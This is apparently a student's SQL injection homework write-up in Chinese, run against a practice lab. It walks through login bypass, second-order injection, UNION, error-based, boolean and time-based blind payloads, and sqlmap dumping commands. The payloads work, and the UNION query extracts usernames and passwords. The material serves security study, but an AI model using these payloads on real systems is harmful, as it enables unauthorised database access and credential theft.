SQL注入作业

news2025/1/13 17:31:09

目录

一、万能密码和二阶注入测试

1.万能密码

2.二阶注入测试

二、联合查询注入测试

1.判断注入点

2.判断当前查询语句的列数

3.查询数据库基本信息

4.查询数据库中的数据

三、报错注入

1. 报错注入函数EXTRATVALUE 

2.UPDATEXML

 四、盲注测试

1.布尔盲注

判断数据库名字长度

猜解数据库名

获取表的个数

获取第一个表名的长度

获取第一个表名

获取列的个数

获取列的长度

获取列名的第一个字母

2.延时盲注

五、sqlmap


一、万能密码和二阶注入测试

1.万能密码

        万能密码是指输入一个特殊用户名,密码不限,来破解账号,入侵sql。比如8’ or 1=1 # ,这是一个用户名,这个输入会发生什么?

         为什么可以直接登录成功呢?我们来看看这个登录网页的数据库代码实现:

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

        而我们的输入其实是

$name  = 8' or 3=3#

        替换后

…… username='8' or 3=3 #' and password='$passwd' LIMIT 0,1";

        此时,username为8 ,根据or的运算,3=3是永真式,#将后半句注释了,故这句代码执行结果永远为真,可以登录成功。

        当然,现在的数据库对这样的用户名肯定做了筛选,这属于不合法的用户名。

2.二阶注入测试

        所谓的二阶注入,利用的是,数据库系统对已有信息的“信任”,将注入的用户名输入到系统后,利用这种信任,登录到数据库其他用户,比如admin'#成功注册后,但是登录的却是admin

        注册admin'#账号

        如图,现在数据库里面有:

        admin'# 密码是123456

        admin 密码是000000

        我们现在登录我们自己注册的账号:

         我们登录后修改密码,修改密码为999999

        此时我们来登录试试:

         为什么密码错误呢?我们来观察一下数据库:

        可以观察到我们修改的是admin的密码,而不是admin'#的数据。

        实际上这个过程是,admin'# 作为用户名登录后,数据库对该用户名,密码信任,实际上这个用户名被代码替换后,登录的不是admin'# ,而是admin。修改的是admin的密码,这就是二阶注入的原理。

二、联合查询注入测试

1.判断注入点

判断是不是整型:

比如 1 and 1=1 

 

 没有显示结果,说明这不是整型。

而输入1' or '1'='1

说明这是字符型注入。

2.判断当前查询语句的列数

猜测是3列:

猜测是两列:

 

3列没有结果,2列有结果,说明当前查询语句有两列。

3.查询数据库基本信息

admin' union select user() ,database()#

需要对union强调的是,union前后的结果列数必须一样,比如这里admin'结果是两列,union的语句2必须也是两列。 

4.查询数据库中的数据

获取表名

admin' union select 1,table_name from information_schema.tables where table_schema = database() # 

获取数段名

admin' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = database() #

获取数据

admin' union select username,password from users #

三、报错注入

1. 报错注入函数EXTRATVALUE 

admin' union  select extractvalue(1,concat(0x7e, (select database()),0x7e)) #

2.UPDATEXML

 admin' union  select updatexml(1,concat(0x7e,(select version()),0x7e),1)#

 四、盲注测试

1.布尔盲注

判断数据库名字长度

无回显

有回显

说明可能为8,进行验证:

猜解数据库名

 无回显,再尝试是否大于110

有回显,再尝试是否大于115

无回显,再尝试是否大于113

有回显,再尝试是否大于114

有回显,说明可能是115

查询ascii表,说明该数据库名首字母为's'

获取表的个数

无回显,说明个数小于4

获取第一个表名的长度

无回显

有回显,说明值为6

获取第一个表名

 ?id=1' and ascii((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))) > 110 #

无回显,猜测是否大于100

有回显,猜测是否大于105

无回显,猜测是否大于103

无回显,猜测是否大于102

无回显,猜测是否等于101

查ascii表,表名第一个字母为'e'

获取列的个数

?id=1' and (select count(column_name) from information_schema.columns where table_name='users' ) > 11 #

有31个列

获取列的长度

 ?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1)) > 5 #

第一列的长度为7

获取列名的第一个字母

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1))>110 # 

得到ascii为117,’u'

2.延时盲注

?id=1' and if((length(database()))=8,sleep(4),null)) #

说明数据库名长度为8

?id=1' and if(substr(database(),1,1)='s',sleep(4),null) #

说明第一个字母是's'

五、sqlmap

 python sqlmap.py -u 127.0.0.1/sqli-labs/Less-8/?id=1 

 --current-db

-D --tables

 

-T --columns

 

-C --dump

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1609166.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【学习】软件压力测试对软件产品的作用

在信息化高速发展的今天,软件产品已经成为各行各业不可或缺的一部分。然而,随着软件功能的日益复杂和用户需求的不断增长,软件产品的稳定性和可靠性问题也愈发凸显。在这样的背景下,软件压力测试作为软件质量保障的重要手段之一&a…

回归预测 | Matlab实现SA-BP模拟退火算法优化BP神经网络多变量回归预测

回归预测 | Matlab实现SA-BP模拟退火算法优化BP神经网络多变量回归预测 目录 回归预测 | Matlab实现SA-BP模拟退火算法优化BP神经网络多变量回归预测预测效果基本描述程序设计参考资料 预测效果 基本描述 1.Matlab实现SA-BP模拟退火算法优化BP神经网络多变量回归预测&#xff0…

盗梦攻击:虚拟现实系统中的沉浸式劫持

虚拟现实(VR)硬件和软件的最新进展将改变我们与世界和彼此互动的方式,VR头显有可能为用户提供几乎与现实无差别的深度沉浸式体验。它们还可以作为一种跨越遥远距离的方式,通过使用个性化的化身或我们的数字代表,促进社…

旅游陪同翻译难吗, 旅游翻译英译中哪家好?

近来,随着中国旅游业的蓬勃发展,旅游陪同翻译的需求也水涨船高,这些专业的翻译服务者为中外游客搭建起友谊的桥梁,引领他们共同探索中国这片古老而神秘的土地 。那么,旅游陪同翻译英译中难吗?我们如何在众多…

机器学习和深度学习-- 李宏毅(笔记于个人理解)Day 21

Day 21 Self- Attention 选修部分 ​ 学完自适应 再回来看看 Sequence Labling 假如我们现在有一个需要读完全部句子才能解的问题, 那么red window 就需要变得是最大的(最长的句子); 其实这里大家有没有想过,这个玩意…

Android Studio历史版本下载地址

https://developer.android.com/studio/archive?hlzh-cn https://blog.csdn.net/crasowas/article/details/130304836

豆瓣影评信息爬取 (爬虫)

代码块: from lxml import etree import requestsheaders{User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0 }url_list[] for i in range(0,5):i*20urlsf"https:…

顺序表链表经典算法题

1.链表反转 typedef struct ListNode listnode; struct ListNode* reverseList(struct ListNode* head) {if(head NULL){return head;}listnode* p1 NULL;listnode* p2 head;listnode* p3 head->next;while(p2){p2->next p1;p1 p2;p2 p3;if(p3)p3 p3->next;}…

ubuntu22.04 启用 root登录

1,设置 root密码 普通用户输入如下命令给 root 设置密码 sudo passwd root 根据提示设置密码。 2,允许 root 登录 vim /etc/pam.d/gdm-password 以及 vim /etc/pam.d/gdm-autologin 注释两个文件中如下图所示的代码 3,允许 ssh 方式 ro…

移动端适配之viewport

目录 盒模型:widthcontent(padding border) class"content-box"内容盒模型(W3C盒) class"border-box"边框盒模型(IE 盒) scroll滚动 window浏览器视窗:包括…

IP 和 TCP 抓包分析实验

实验拓扑 实验需求 1、配置IP地址,R1的g0/0口是1.1.1.1/24 ,R2的g0/0口是1.1.1.2/24 2、在该链路上开启抓包 3、在R1上ping R2 4、开启wireshark,查看抓取的ping包的内容 5、在R2上开启ftp服务 6、在R1上访问R2的FTP 7、在wireshark查…

【游戏专区】贪吃蛇

1,游戏背景 贪吃蛇(Snake)是一款经典的电子游戏,最初在1976年由 Gremlin 公司开发。它的游戏背景相对简单,但具有高度的成瘾性。 1. **游戏场景**:通常在一个有界的矩形区域内进行,可以是一个…

电磁炉原理笔记

电磁炉加热原理 【电磁炉工作原理,电涡流感应加热原理】 https://www.bilibili.com/video/BV11M411M7Wt/?share_sourcecopy_web&vd_source44c5c5fe44538189ece80f09460cf625 我是看的这个科普视频; 总结一下就是下图: 线圈的磁场影响…

Spring Boot JNA 实现调用 DLL文件(清晰明了)

概述 项目需要用到 重采样算法,JAVA 没有现成的,只能通过 JNA 调用 C 的 DLL 实现,JNA中,它提供了一个动态的C语言编写的转发器,可以自动实现Java和C的数据类型映射。不再需要编写C动态链接库。 实现需求 根据 一个…

rc_visard 3D Stereo Senso

1 简介 rc_visard 3D立体视觉传感器 支持的接口标准 GenICam Generic Interface for CamerasGigE Gigabit Ethernet 词汇表 SGM semi-global matching 半全局匹配 SLAM Simultaneous Localization and Mapping 即时定位与地图构建 2 安全 3 硬件规格 坐标系 rc_visar…

【云计算】云数据中心网络(三):NAT 网关

《云网络》系列,共包含以下文章: 云网络是未来的网络基础设施云网络产品体系概述云数据中心网络(一):VPC云数据中心网络(二):弹性公网 IP云数据中心网络(三)…

MATLAB实现蚁群算法优化柔性车间调度(ACO-fjsp)

蚁群算法优化车间调度的步骤可以分为以下几个主要阶段: 1.初始化阶段: 设置算法参数,如信息素浓度、启发式因子等。这些参数将影响蚂蚁在选择路径时的决策过程。 确定车间调度的具体问题规模,包括工件数量、机器数量以及每个工件…

k8s:通过nodeSelector将pod调度到含有指定标签的结点上

一、查看node,并给node打标签 二、在资源清单文件中配置nodeSelector来指定要往满足哪个标签条件的结点进行调度 apiVersion: v1 kind: Pod metadata:name: probe-tcp spec:containers:- name: nginximage: nginxlivenessProbe:initialDelaySeconds: 5timeoutSeconds: 5tcpSo…

【 基于Netty实现聊天室聊天业务学习】第4节.什么是BIO与NIO

IO在读写的时候是阻塞的,无法做其他操作,并发处理能力的非常低,线程之间访问资源通信时候也是非常耗时久,依赖我们的网速,带宽。 我们看一下他的白话原理 我们来看一下这张图那么这张图的话它里面有一个server还有三个…

基于SSM的学校在线考试系统的设计与实现

功能需求 管理员模块 管理员模块是整个学校在线考试系统中最为重要的管理者,能够对网站内的各种信息进行管理,能够对教师、学生的个人资料进行管理,对于已经离校的学生将其剔除考试名单,将新入校的学生纳入到考试名单中。对于入…